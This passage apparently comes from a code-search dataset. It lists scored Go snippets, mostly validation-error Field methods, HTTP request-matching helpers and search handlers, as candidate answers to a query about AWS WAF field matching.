(fromParser)\n\t\t\t// to those annotated in source comments (fromComments).\n\n\t\t\thandle := fset.File(file.Package)\n\t\t\tfromParser := declsFromParser(file)\n\t\t\tfromComments := declsFromComments(handle, src)\n\n\t\t\tpos := func(pos token.Pos) token.Position {\n\t\t\t\tp := handle.Position(pos)\n\t\t\t\t// The file name is implied by the subtest, so remove it to avoid\n\t\t\t\t// clutter in error messages.\n\t\t\t\tp.Filename = \"\"\n\t\t\t\treturn p\n\t\t\t}\n\t\t\tfor k, want := range fromComments {\n\t\t\t\tif got := fromParser[k]; got != want {\n\t\t\t\t\tt.Errorf(\"%s resolved to %s, want %s\", pos(k), pos(got), pos(want))\n\t\t\t\t}\n\t\t\t\tdelete(fromParser, k)\n\t\t\t}\n\t\t\t// What remains in fromParser are unexpected resolutions.\n\t\t\tfor k, got := range fromParser {\n\t\t\t\tt.Errorf(\"%s resolved to %s, want no object\", pos(k), pos(got))\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "6589e65aa32ea9f39db89bffca9d8510", "score": "0.4627581", "text": "func main() {\n\tt := TypeWithoutAmbiguity{}\n\tt.Method()\n}", "title": "" }, { "docid": "ed64139232b62464f8be3a6a1ec724a9", "score": "0.4624661", "text": "func (instance *Subnet) checkUnicity(ctx context.Context, req abstract.SubnetRequest) fail.Error {\n\t_, xerr := LoadSubnet(ctx, instance.Service(), req.NetworkID, req.Name)\n\txerr = debug.InjectPlannedFail(xerr)\n\tif xerr != nil {\n\t\tswitch xerr.(type) {\n\t\tcase *fail.ErrNotFound:\n\t\t\treturn nil\n\t\tdefault:\n\t\t\treturn xerr\n\t\t}\n\t}\n\n\treturn fail.DuplicateError(\"Subnet '%s' already exists\", req.Name)\n}", "title": "" }, { "docid": "05bc772edb9c9d3cd0841e4d323fce55", "score": "0.4623136", "text": "func (s *SelectorType) Compare(def Definition) bool {\n\t// TODO : for this type, structs/map/func/interface that can contain a SelectorType we should check both canonical and real pkg\n\treturn s.String() == def.String()\n}", "title": "" }, { "docid": "c470535105be1f88f50112fb7f55d19d", "score": "0.46126276", "text": "func TestAppend_ArtifactType(t *testing.T) {\n\tfor _, c := range []struct {\n\t\tdesc, configMediaType, wantArtifactType string\n\t}{{\n\t\tdesc: \"standard config.mediaType, no artifactType\",\n\t\tconfigMediaType: string(types.DockerConfigJSON),\n\t\twantArtifactType: \"\",\n\t}, {\n\t\tdesc: \"non-standard config.mediaType, want artifactType\",\n\t\tconfigMediaType: \"application/vnd.custom.something\",\n\t\twantArtifactType: \"application/vnd.custom.something\",\n\t}} {\n\t\tt.Run(c.desc, func(t *testing.T) {\n\t\t\timg, err := random.Image(1, 1)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"random.Image: %v\", err)\n\t\t\t}\n\t\t\timg = mutate.ConfigMediaType(img, types.MediaType(c.configMediaType))\n\t\t\tidx := mutate.AppendManifests(empty.Index, mutate.IndexAddendum{\n\t\t\t\tAdd: img,\n\t\t\t})\n\t\t\tmf, err := idx.IndexManifest()\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"IndexManifest: %v\", err)\n\t\t\t}\n\t\t\tif got := mf.Manifests[0].ArtifactType; got != c.wantArtifactType {\n\t\t\t\tt.Errorf(\"manifest artifactType: got %q, want %q\", got, c.wantArtifactType)\n\t\t\t}\n\n\t\t\tdesc, err := partial.Descriptor(img)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"partial.Descriptor: %v\", err)\n\t\t\t}\n\t\t\tif got := desc.ArtifactType; got != c.wantArtifactType {\n\t\t\t\tt.Errorf(\"descriptor artifactType: got %q, want %q\", got, c.wantArtifactType)\n\t\t\t}\n\n\t\t\tgotAT, err := partial.ArtifactType(img)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"partial.ArtifactType: %v\", err)\n\t\t\t}\n\t\t\tif gotAT != c.wantArtifactType {\n\t\t\t\tt.Errorf(\"partial.ArtifactType: got %q, want %q\", gotAT, c.wantArtifactType)\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "a7cba7733275166b86ca2ac10d2b6fc6", "score": "0.46101847", "text": "func hasIdenticalPerVersionSchema(versions []apiextensions.CustomResourceDefinitionVersion) bool {\n\tif len(versions) == 0 {\n\t\treturn false\n\t}\n\tvalue := versions[0].Schema\n\tfor _, v := range versions {\n\t\tif v.Schema == nil || !apiequality.Semantic.DeepEqual(v.Schema, value) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" } ]
b3fb77dec4390cbdb268ec5f530ab9a1
Part of a web request that you want AWS WAF to inspect. See `fieldToMatch` below for details.
[ { "docid": "5506efbc903912426361bace59da904f", "score": "0.0", "text": "func (o WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementNotStatementStatementOrStatementStatementByteMatchStatementOutput) FieldToMatch() WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementNotStatementStatementOrStatementStatementByteMatchStatementFieldToMatchPtrOutput {\n\treturn o.ApplyT(func(v WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementNotStatementStatementOrStatementStatementByteMatchStatement) *WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementNotStatementStatementOrStatementStatementByteMatchStatementFieldToMatch {\n\t\treturn v.FieldToMatch\n\t}).(WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementNotStatementStatementOrStatementStatementByteMatchStatementFieldToMatchPtrOutput)\n}", "title": "" } ]
[ { "docid": "f5d2dba8309ecee67ddd09f7d6f2017f", "score": "0.59970415", "text": "func (e HttpGenericBodyMatchValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f4e33c5b84c0cbbc0419dedeb6a0e539", "score": "0.5800923", "text": "func (e HttpHeadersMatchValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f4e33c5b84c0cbbc0419dedeb6a0e539", "score": "0.5800923", "text": "func (e HttpHeadersMatchValidationError) Field() string { return e.field }", "title": "" }, { "docid": "96e460058bf2123b4a804d961a598d64", "score": "0.57355046", "text": "func (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\tpartString := matcher.Part\n\tswitch partString {\n\tcase \"body\", \"all\", \"data\", \"\":\n\t\tpartString = \"raw\"\n\t}\n\n\titem, ok := data[partString]\n\tif !ok {\n\t\treturn false, []string{}\n\t}\n\titemStr := types.ToString(item)\n\n\tswitch matcher.GetType() {\n\tcase matchers.SizeMatcher:\n\t\treturn matcher.Result(matcher.MatchSize(len(itemStr))), []string{}\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(itemStr, nil))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(itemStr))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), []string{}\n\t}\n\treturn false, []string{}\n}", "title": "" }, { "docid": "314432681ccec60d27c577d60870b491", "score": "0.56728864", "text": "func (e Exist) Match(payload map[string]interface{}) bool {\n\t_, found := getFieldExist(payload, e.Field)\n\treturn found\n}", "title": "" }, { "docid": "3d487c8668d9ef51eda7e1f1b158f773", "score": "0.56725234", "text": "func (filter *Requests) Match(elem interface{}) bool {\n\treq, ok := elem.(*boruta.ReqInfo)\n\tif !ok || req == nil {\n\t\treturn false\n\t}\n\n\tif len(filter.IDs) > 0 && !reqIDInSlice(req.ID, filter.IDs) {\n\t\treturn false\n\t}\n\n\tif len(filter.States) > 0 && !reqStateInSlice(req.State, filter.States) {\n\t\treturn false\n\t}\n\n\tif len(filter.Priorities) > 0 && !priorityInSlice(req.Priority, filter.Priorities) {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "6a7abb736938508f8ad49e88f6f9a8ba", "score": "0.55585915", "text": "func (e HttpGenericBodyMatch_GenericTextMatchValidationError) Field() string { return e.field }", "title": "" }, { "docid": "018412b0936fff6fffcc4488445e2e57", "score": "0.5481717", "text": "func (e HttpResponseStatusCodeMatchInputValidationError) Field() string { return e.field }", "title": "" }, { "docid": "ae0f163e3c65e22a562644d4f84c322f", "score": "0.53247964", "text": "func (e HttpResponseStatusCodeClassMatchInputValidationError) Field() string { return e.field }", "title": "" }, { "docid": "3629d2102f20a55f5fdc4f091af66e62", "score": "0.53120613", "text": "func (e Equal) Match(payload map[string]interface{}) bool {\n\treturn reflect.DeepEqual(getField(payload, e.Field), e.Value)\n}", "title": "" }, { "docid": "cd6ecb982d0c22b7cb813985f0522a8a", "score": "0.526126", "text": "func (e LivenessRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "9eae0ecb6011422a520d42501ac95472", "score": "0.5257869", "text": "func (e NotExist) Match(payload map[string]interface{}) bool {\n\t_, found := getFieldExist(payload, e.Field)\n\treturn !found\n}", "title": "" }, { "docid": "1c2e47a8145484489bd8d0e27e912052", "score": "0.52341586", "text": "func (e GetStreamRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "c643bd0afe439bd5dc8e7ec0d3e2a6c4", "score": "0.5207236", "text": "func (e GetRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "2e6dd13b48777dad3ab330f7349c285a", "score": "0.52052045", "text": "func (m *Mocker) Match(req *http.Request) (bool, error) {\n\tif m.disabled {\n\t\treturn false, nil\n\t}\n\n\t// Filter\n\tfor _, filter := range m.request.Filters {\n\t\tif !filter(req) {\n\t\t\treturn false, nil\n\t\t}\n\t}\n\n\t// Map\n\tfor _, mapper := range m.request.Mappers {\n\t\tif treq := mapper(req); treq != nil {\n\t\t\treq = treq\n\t\t}\n\t}\n\n\t// Match\n\tmatches, err := m.matcher.Match(req, m.request)\n\tif matches {\n\t\tm.decrement()\n\t}\n\n\treturn matches, err\n}", "title": "" }, { "docid": "3e22857c82bcc2060c2fbcd25a0c3a11", "score": "0.5180383", "text": "func (e SecretK8SRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "989ced8a4dc06c5581cc49ccdc3677b6", "score": "0.5156909", "text": "func (e LivenessResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "65fa30939d18cd6fb47478d6d276efb0", "score": "0.5145471", "text": "func LogRequestFields(r *http.Request) log.Fields {\n\treturn log.Fields{\n\t\t\"method\": r.Method,\n\t\t\"URI\": r.RequestURI,\n\t\t\"upstream\": r.Host,\n\t\t\"contract\": r.Header.Get(\"X-Devroute\"),\n\t\t\"matched-service\": r.Header.Get(\"X-Devroute-Matched\"),\n\t}\n}", "title": "" }, { "docid": "a9804309d7f5d4f34bda00875372900a", "score": "0.51285577", "text": "func (e PodRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "974f9cd194cfe95c63848227bfae61e7", "score": "0.5114397", "text": "func (e ServiceK8SRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "d6486909def55521c17930d8c4c3cadc", "score": "0.51110953", "text": "func (e WatchDynamicRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "a44af39562a25390446ad03d86d8ab0f", "score": "0.51058435", "text": "func (e MyServerRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "c92f2b293fa43f0c8a0a4f0e9e1077db", "score": "0.5100069", "text": "func (e StreamTapsRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "3c61ee40b9ab114173924e5c18b7fc07", "score": "0.50899494", "text": "func (e ReadRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "ed0c9cb3ac72923efe4510b71bb58668", "score": "0.5088165", "text": "func (e NotEqual) Match(payload map[string]interface{}) bool {\n\treturn !reflect.DeepEqual(getField(payload, e.Field), e.Value)\n}", "title": "" }, { "docid": "19799d9b171784671eabc7d86e2446fc", "score": "0.5082895", "text": "func (e DiscoveryRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f2139fd7e9d5944410a050f0062210e3", "score": "0.50636923", "text": "func (e GetResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "9e34d4db754df61628a743e382c538a9", "score": "0.5057803", "text": "func (e GetStreamResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "0a72aee52642ab9e85e3686681b300c4", "score": "0.5045351", "text": "func (e UserWatchingRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "def3345174436b8c8e023d8e4b6459ee", "score": "0.50400275", "text": "func (r *Request) Field(key string, value string) *Request {\n\tr.formParams.Add(key, value)\n\treturn r\n}", "title": "" }, { "docid": "41add8f2842faacfcb70aded517297de", "score": "0.5038713", "text": "func (e In) Match(payload map[string]interface{}) bool {\n\tvalue := getField(payload, e.Field)\n\tfor _, v := range e.Values {\n\t\tif reflect.DeepEqual(v, value) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "038b759ba1ba428eca95d2e16234cec7", "score": "0.503562", "text": "func (e AllowRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "7db329b647fc3b7e3fadd866d72a29a6", "score": "0.5018886", "text": "func (e DeploymentK8SRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "52efe22260694008504fec128236f84a", "score": "0.50174415", "text": "func (e EndpointsK8SRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "aff35daaee564a894384c513f638152f", "score": "0.5014099", "text": "func (f reFilter) Match(m *Message) (b bool) {\n\tvar v string\n\tswitch f.Field {\n\tcase \"host\":\n\t\tv = m.Host\n\tcase \"facility\":\n\t\tv = m.Facility\n\t}\n\tb = f.Re.MatchString(v)\n\tlog.Printf(\"M %s=%s ?%s: %t\", f.Field, v, f.Re, b)\n\treturn\n}", "title": "" }, { "docid": "88d05186aeeaefd079977b78a85c5eb8", "score": "0.5008786", "text": "func (e WatchDynamicResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "e7a6011ff8c58ddbd5a5a1225e6f936f", "score": "0.5008467", "text": "func (e StreamTapsResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "1426dffe947d804b642e620e90581554", "score": "0.5006313", "text": "func (e ApplicationSearchParamsValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f8570ddcd344885a68ced0f67b29b910", "score": "0.4996264", "text": "func (e SearchRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "060dc086588604d9e842d6e2b7daf65c", "score": "0.49886468", "text": "func (e UserWatchingResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "209b09d00bc3ae07b1ee273784689a81", "score": "0.49838454", "text": "func (e Exports_GetResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "a1814b893f9e3a8983abd87a024abef2", "score": "0.49794367", "text": "func (e SecretK8SResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "b7badc2a62bcc77314d46c098e16c406", "score": "0.4963804", "text": "func (e NamespaceK8SRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "1a4ea4f5fb9a394e6e14b8d1b342a4be", "score": "0.4962634", "text": "func (e GetMetricRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "cb5fc4dbc8933aa62b4d49fb2a35ffac", "score": "0.49614692", "text": "func (e WatchMetricRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "0f40c5ee071cf44554558ea618ef7075", "score": "0.49551868", "text": "func (e NodeRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "2fb03c44b569085cc10bdb19065db175", "score": "0.49492645", "text": "func (e DiscoveryResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "6b54d1e393d81c9f5b64d32197030973", "score": "0.4946581", "text": "func Search(r *http.Request) api.Response {\n\tstart := time.Now()\n\tsearchRequest := searchRequest{}\n\n\terr := api.FormValues(r, &searchRequest, []*v.FieldRules{\n\t\tv.Field(&searchRequest.S, v.Length(3, 99999), v.Required),\n\t\tv.Field(&searchRequest.Size, v.Max(10000)),\n\t\tv.Field(&searchRequest.From, v.Max(9999)),\n\t\t//There is a bug in the app https://github.com/lbryio/lbry-desktop/issues/3377\n\t\t//v.Field(&searchRequest.ClaimType, validator.ClaimTypeValidator),\n\t\tv.Field(&searchRequest.MediaType, validator.MediaTypeValidator),\n\t\tv.Field(&searchRequest.TimeFilter, validator.TimeFilter),\n\t})\n\tif err != nil {\n\t\treturn api.Response{Error: errors.Err(err), Status: http.StatusBadRequest}\n\t}\n\tsearchRequest.filterset, err = collectFilters(searchRequest.Filters)\n\tif err != nil {\n\t\treturn api.Response{Error: errors.Err(err), Status: http.StatusBadRequest}\n\t}\n\tsearchRequest.searchType = \"general\"\n\tsearchRequest.S = truncate(searchRequest.S, searchRequest.RelatedTo != nil)\n\tsearchRequest.S = checkForSpecialHandling(searchRequest.S)\n\tsearchRequest.terms = len(strings.Split(searchRequest.S, \" \"))\n\tif searchRequest.RelatedTo != nil {\n\t\tsearchRequest.searchType = \"related_content\"\n\t}\n\tquery := searchRequest.newQuery()\n\tt, err := query.Source()\n\tif err != nil {\n\t\treturn api.Response{Error: errors.Err(\"%s: for query -s %s\", err, t)}\n\t}\n\tincludes := []string{\"name\", \"claimId\"}\n\tif searchRequest.Include != nil {\n\t\tadditionfields := strings.Split(*searchRequest.Include, \",\")\n\t\tincludes = append(includes, additionfields...)\n\t}\n\tsourceContext := elastic.NewFetchSourceContext(true).Exclude(\"value\")\n\tif !searchRequest.Source {\n\t\tincludes = append(includes)\n\t\tsourceContext = sourceContext.Include(includes...)\n\t\tif searchRequest.Resolve {\n\t\t\tsourceContext = sourceContext.Include(\"channel\", \"channel_claim_id\", \"title\", \"thumbnail_url\", \"release_time\", \"fee\", \"nsfw\", \"duration\")\n\t\t}\n\t}\n\tservice := es.Client.\n\t\tSearch(\"claims\").\n\t\tQuery(query).\n\t\tFetchSourceContext(sourceContext)\n\tif searchRequest.Size != nil {\n\t\tservice = service.Size(*searchRequest.Size)\n\t}\n\tif searchRequest.From != nil {\n\t\tservice = service.From(*searchRequest.From)\n\t}\n\n\tif searchRequest.Debug {\n\t\tsearchResults, err := service.\n\t\t\tExplain(true).\n\t\t\tErrorTrace(true).\n\t\t\tDo(context.Background())\n\t\tif err != nil {\n\t\t\treturn api.Response{Error: errors.Err(err)}\n\t\t}\n\t\treturn api.Response{Data: searchResults}\n\t}\n\tif searchRequest.SortBy != nil {\n\t\tsortBy := strings.TrimPrefix(*searchRequest.SortBy, \"^\")\n\t\tservice.Sort(sortBy, strings.Contains(*searchRequest.SortBy, \"^\"))\n\t}\n\tresults, err := searchCache.Fetch(r.URL.RequestURI(), 15*time.Minute, func() (interface{}, error) {\n\t\tsearchResults, err := service.Do(context.Background())\n\t\tif err != nil {\n\t\t\treturn nil, errors.Err(err)\n\t\t}\n\t\tresults := make([]map[string]interface{}, 0)\n\t\tfor _, hit := range searchResults.Hits.Hits {\n\t\t\tif hit.Source != nil {\n\t\t\t\tdata, err := hit.Source.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogrus.Error(err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tresult := map[string]interface{}{}\n\t\t\t\terr = json.Unmarshal(data, &result)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogrus.Error(err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tresults = append(results, result)\n\t\t\t}\n\t\t}\n\t\treturn results, nil\n\t})\n\tif err != nil {\n\t\treturn api.Response{Error: errors.Err(err)}\n\t}\n\ttotalTime := time.Since(start)\n\tmetrics.SearchDuration.WithLabelValues(\n\t\tsearchRequest.searchType,\n\t\tstrconv.Itoa(searchRequest.terms)).\n\t\tObserve(totalTime.Seconds())\n\tsearchRequest.log(r, totalTime)\n\treturn api.Response{Data: results.Value()}\n}", "title": "" }, { "docid": "be3c82bca60c2a5724dba13c1a8c7741", "score": "0.4940794", "text": "func (e DeltaDiscoveryRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "4b3bbfa950f791470f2f0d9bd6e93d82", "score": "0.49364805", "text": "func (e ReadResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "b30442045ee6d429958e966e60354c89", "score": "0.4935152", "text": "func (e WatchContainerRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "7cfbf1881b665a8593a076cfc24ec103", "score": "0.4930801", "text": "func (e SearchResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "ed91136f1212dd6a224898ed10bb16c8", "score": "0.49212274", "text": "func (e QueryRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "dc98018fbd5e6c09ca1707261a935a52", "score": "0.49110752", "text": "func (e InstanceSearchParamsValidationError) Field() string { return e.field }", "title": "" }, { "docid": "03bab9d5986e12107911c74b853f2ee0", "score": "0.49109", "text": "func (e QueryMetricRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "406d32beb0e79fd971cd026577bf73e3", "score": "0.49072063", "text": "func (e SignRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "ab1a07a52834bd2f4677d32d75f77d1b", "score": "0.4903145", "text": "func (e *serverEndpoint) Matches(request *http.Request) bool {\n\treturn e.requestMatcher.matches(request)\n}", "title": "" }, { "docid": "bb7b14101d4649e773e87f466036fce7", "score": "0.49027923", "text": "func TestRequestFingerprintBody(t *testing.T) {\n\treq, err := http.NewRequest(\"GET\", \"http://example.com\", nil)\n\texpect(t, err, nil)\n\n\tfp := getRequestFingerprint(req, []byte(\"some huge XML or JSON here\"))\n\n\texpect(t, fp, \"b3918a54eb6e42652e29e14c21ba8f81\")\n}", "title": "" }, { "docid": "ca12854a3a8d51aeab0d19687be79d5d", "score": "0.48971066", "text": "func (e QueryResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "9c12abcc7a91725aeae35285b9dfa191", "score": "0.48945373", "text": "func (e WatchMetricResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "8ca62be3fd0498bc277c742e71926492", "score": "0.48836932", "text": "func (e NodeResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f01028b5dec5996a7a3ab8dd01ee504d", "score": "0.48802596", "text": "func (e GetHostRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "4a5a1107bc1ebf11b00ed7d3753209cb", "score": "0.48789674", "text": "func (e mocReqValidationError) Field() string { return e.field }", "title": "" }, { "docid": "4a51d76e508ea498039b8dfb35ffa8b3", "score": "0.48789662", "text": "func (e ListRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "4a51d76e508ea498039b8dfb35ffa8b3", "score": "0.48789662", "text": "func (e ListRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "3ba89b49ae5e0592365b71509b4abd7b", "score": "0.48690844", "text": "func (e CaptureInternalOrderRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "3373c1aa3a37ce788fe8e60635790097", "score": "0.48667768", "text": "func (e WatchEventRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "ed19f6034313f374aa8d9d82698ecd2f", "score": "0.486176", "text": "func HandleRequest(w http.ResponseWriter, r *http.Request, pam map[string]string ) error {\n\n //r.FormValue to access the url query parameters\n fmt.Fprint(w, \"fileds=\" + r.FormValue(\"fields\") + \"\\n\")\n\n //r.URL.Query().Get() only get the 1st item of the query param\n fmt.Fprint(w, \"fields=\" + r.URL.Query().Get(\"fields\") + \"\\n\")\n\n //r.URL.Query()[] get array of all values of the query param\n paramarray := r.URL.Query()[\"fields\"]\n\n for _, value := range paramarray {\n fmt.Fprint(w, \"fields=\"+value + \"\\n\")\n }\n\n return nil\n}", "title": "" }, { "docid": "9f09bbedea11022cc9042a34d441408e", "score": "0.48617405", "text": "func (e WatchContainerResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "1b208178940e9af41281f4ae1ae9410f", "score": "0.48525915", "text": "func (e PodResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f56d5d68e33407d9255e913b6903d9f0", "score": "0.48519677", "text": "func (e ResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "d832ad0d2bd1d39211e94387bd53b819", "score": "0.48506644", "text": "func (e DeltaDiscoveryResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "56e011ccc35b73f626e6e9caa8ad150b", "score": "0.48498768", "text": "func (e ProjectDomainAttributesGetRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "2357f5b31faf7c1dee5354b250332ef8", "score": "0.4847316", "text": "func (e ServiceK8SResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "6f729ddfbc55c7594c42654e7be5c051", "score": "0.48458984", "text": "func (e ListMetricRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "fc32ecd341b087400583eae5bc8f610a", "score": "0.48448235", "text": "func (e QueryMetricResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "7aa6f731f8f065f679d321b9d5713249", "score": "0.4841693", "text": "func (e GetRuleReqValidationError) Field() string { return e.field }", "title": "" }, { "docid": "875e35415e01cdaf04c5357e459e01d9", "score": "0.48413616", "text": "func (e Resources_RequestsValidationError) Field() string { return e.field }", "title": "" }, { "docid": "26776f0b8de238bc1e8d85d68b886ad9", "score": "0.48382297", "text": "func (e StreamTapsRequest_IdentifierValidationError) Field() string { return e.field }", "title": "" }, { "docid": "29a800d4ceca61767d86d20e3b41ec2e", "score": "0.48353294", "text": "func (e ReadinessRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "084d0101115e3beb0c61ae61e64a0a81", "score": "0.48328564", "text": "func (e GetMetricResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "67a8b2ec0e26b764f4befa36b3deca7e", "score": "0.4832565", "text": "func (e SignUpIdentificationRequest_LawyerValidationError) Field() string { return e.field }", "title": "" }, { "docid": "5e9cf97c1620c7f8ac5e1b3f912d01e3", "score": "0.48308715", "text": "func (e HttpHeaderValidationError) Field() string { return e.field }", "title": "" }, { "docid": "59be4f517309e81ef6678013e931694c", "score": "0.48275203", "text": "func (e WatchPriceRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "2870cd3faec304b59df8aaa55e6b520d", "score": "0.48273727", "text": "func (e RetrieveUserRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "ef43ee4380e0a5b874f2e6dad2f9f266", "score": "0.48220107", "text": "func (e FilterAuthorizedPairsReqValidationError) Field() string { return e.field }", "title": "" }, { "docid": "a5fb3a3f4889a7d0b33a2a9c3a7c3dd4", "score": "0.4820877", "text": "func (e EndpointsK8SResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "21e90b1e4b06bb5c52b3dfbeb1efc35f", "score": "0.48169816", "text": "func (e LogtouResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "88baf07717685c96db73cd36d4798143", "score": "0.4815084", "text": "func (e DescribeCheckRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "381cf6d86a52ed4c35ba726e8d42ea83", "score": "0.48059794", "text": "func (e SignResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f2b5eb7c7826e6771f8e4e8c8f6f2b85", "score": "0.48036432", "text": "func (e GetMetricConfigurationRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "e9cfa065a4f06411f2977f7bde155c6a", "score": "0.48035708", "text": "func Handler(context *nuclio.Context, event nuclio.Event) (interface{}, error) {\n\n\tbody := string(event.GetBody())\n\n\tif len(body) == 0 {\n\t\tcontext.Logger.Debug(\"Body empty\")\n\t\treturn nuclio.Response{\n\t\t\tStatusCode: 204,\n\t\t\tContentType: \"application/text\",\n\n\t\t\tBody: []byte(\"Body empty\"),\n\t\t}, nil\n\t}\n\n\tvar regexHeader interface{} = event.GetHeader(\"X-Regex\")\n\n\tvar myRegexPattern string\n\n\tif _, ok := regexHeader.([]byte); ok {\n\t\tmyRegexPattern = string(regexHeader.([]byte))\n\t} else if _, ok := regexHeader.([]uint8); ok {\n\t\tmyRegexPattern = string(regexHeader.([]uint8))\n\t} else if _, ok := regexHeader.(string); ok {\n\t\tmyRegexPattern = regexHeader.(string)\n\t}\n\n\tcontext.Logger.Info(myRegexPattern)\n\tr, err := regexp.Compile(myRegexPattern)\n\n\tif err != nil {\n\t\treturn nuclio.Response{\n\t\t\tStatusCode: 400,\n\t\t\tContentType: \"application/text\",\n\t\t\tBody: []byte(\"Regex error\"),\n\t\t}, nil\n\t}\n\n\tfields := reSubMatchMap(r, body)\n\n\tif fields != nil {\n\t\t// Format into JSON\n\t\tfieldsJSON, _ := json.Marshal(fields)\n\t\treturn nuclio.Response{\n\t\t\tStatusCode: 200,\n\t\t\tContentType: \"application/json\",\n\t\t\tBody: []byte(fieldsJSON),\n\t\t}, nil\n\t}\n\t// Catch non matches and return 204\n\tcontext.Logger.Debug(\"Body empty\")\n\treturn nuclio.Response{\n\t\tStatusCode: 204,\n\t\tContentType: \"application/text\",\n\t\tBody: []byte(\"Body empty\"),\n\t}, nil\n}", "title": "" }, { "docid": "fcab345be6d28b4a90eedc5e4f488b99", "score": "0.48033985", "text": "func (e WatchEventResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "16d2a8c2107da34fb633c64505b96493", "score": "0.4801421", "text": "func (e ConfigMapK8SRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "4bef345da7614ea43dd938c199732693", "score": "0.47983852", "text": "func (c *BucketListingProcessorFactory) DoMatchRequestType(requestType requestobjects.RequestType) bool {\n return requestobjects.BucketListing.EqualTo(requestType.String())\n}", "title": "" }, { "docid": "7a29642b75d83c48686b288b148cd7bc", "score": "0.47964805", "text": "func (e WatchProductRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "b8ecdccfd81975d97baa5f06d4d70ac5", "score": "0.4795271", "text": "func (e GetTransactionRequestValidationError) Field() string { return 